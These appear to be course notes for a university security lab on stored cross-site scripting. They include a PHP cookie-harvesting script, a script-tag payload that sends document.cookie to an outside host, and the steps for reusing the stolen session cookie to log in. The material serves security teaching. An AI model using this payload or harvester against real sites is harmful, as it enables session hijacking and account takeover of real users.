CSE 484 Jared Guest Lecture

Q1. On what server do your cookie harvesting scripts need to live? Why?

`homes.cs.washington.edu/~YOUR_NETID/`

Because both `homes` and `codered` are subdomains of `cs`, we avoid some browser security

Q2. Write a script to output the value passed in a `GET` called `cookie` to a file cookies.txt
http://homes.cs.washington.edu/~YOUR_ID/cookieEater.php?cookie=mySuperSecretCookie

```
<?php
$cookieName = "cookie";
$cookieValue = $_GET[$cookieName] . "\n";
$fileName = "cookies.txt";
file_put_contents($fileName, $cookieValue, FILE_APPEND);
?>
```

Q3. What is an example input to Lab 2 Problem 1 that will allow for a successful attack? (Hint: no filters used, reference Q2)

```
<script>new
Image().src="http://homes.cs.washington.edu/~jlcmoore/484/cookieEater.php?cookie="+document.cookie;</script>
```

Q4. What is the flow of a XSS attack for Lab 2? (Hint: six steps)

1. Input malicious script (like from Q3)
2. `Codered` "stores" script as webpage
3. Copy and input link from "stored" page
4. Server visits `cookieEater`
5. Copy cookie as stored in `cookies.txt`
6. Modify cookie `authenticated` to have value from `5` and login